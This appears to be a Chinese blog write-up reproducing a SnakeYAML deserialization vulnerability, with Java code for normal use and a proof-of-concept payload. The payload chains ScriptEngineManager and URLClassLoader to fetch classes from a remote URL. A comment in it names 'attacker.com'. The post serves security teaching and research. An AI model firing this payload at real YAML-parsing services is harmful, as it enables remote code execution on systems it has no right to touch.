0x00 正常的使用方式
代码如下:
1 2 3 4 5 6 7 8 9 10 |
import org.yaml.snakeyaml.Yaml; public class Tester { public static void main(String[] args) { //正常的使用方式 String normal = "key: hello yaml"; Yaml yaml = new Yaml(); Object obj = yaml.load(normal); System.out.print(obj); } } |
注:所依赖的jar包的下载地址:Download snakeyaml-1.7.jar
控制台的打印结果如下:
1
|
{key=hello yaml}
|
0x01 漏洞复现
可触发反序列化漏洞的PoC代码如下:
1 2 3 4 5 6 7 8 9 10 |
import org.yaml.snakeyaml.Yaml; public class Tester { public static void main(String[] args) { //可触发反序列化漏洞的使用方式 String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader " + "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]"; Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called. Object obj = yaml.load(malicious); // Make request to http://attacker.com } } |
在该PoC中,被Yaml对象的load方法调用的“yaml字符串”是被精心构造的恶意代码。在该PoC的反序列化过程中,会向http://127.0.0.1:8000发起网络请求。
复现步骤:
(1)搭建Python SimpleHTTPServer
如图所示:
(2)运行PoC,观察运行结果
如图所示:
由图可知,SimpleHTTPServer受到了访问GET请求,反序列化漏洞复现成功。
0x02 后记
-
因为《Java反序列化漏洞从入门到深入》这一博文,了解了YAML这一包含反序列化漏洞的第三方组件;
-
《Arbitrary code execution via Swagger YAML parser (CVE-2017-1000207 and CVE-2017-1000208)》对YAML的漏洞复现和防御有较好的讲解;
-
PyYAML这一第三方组件也有类似的问题。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论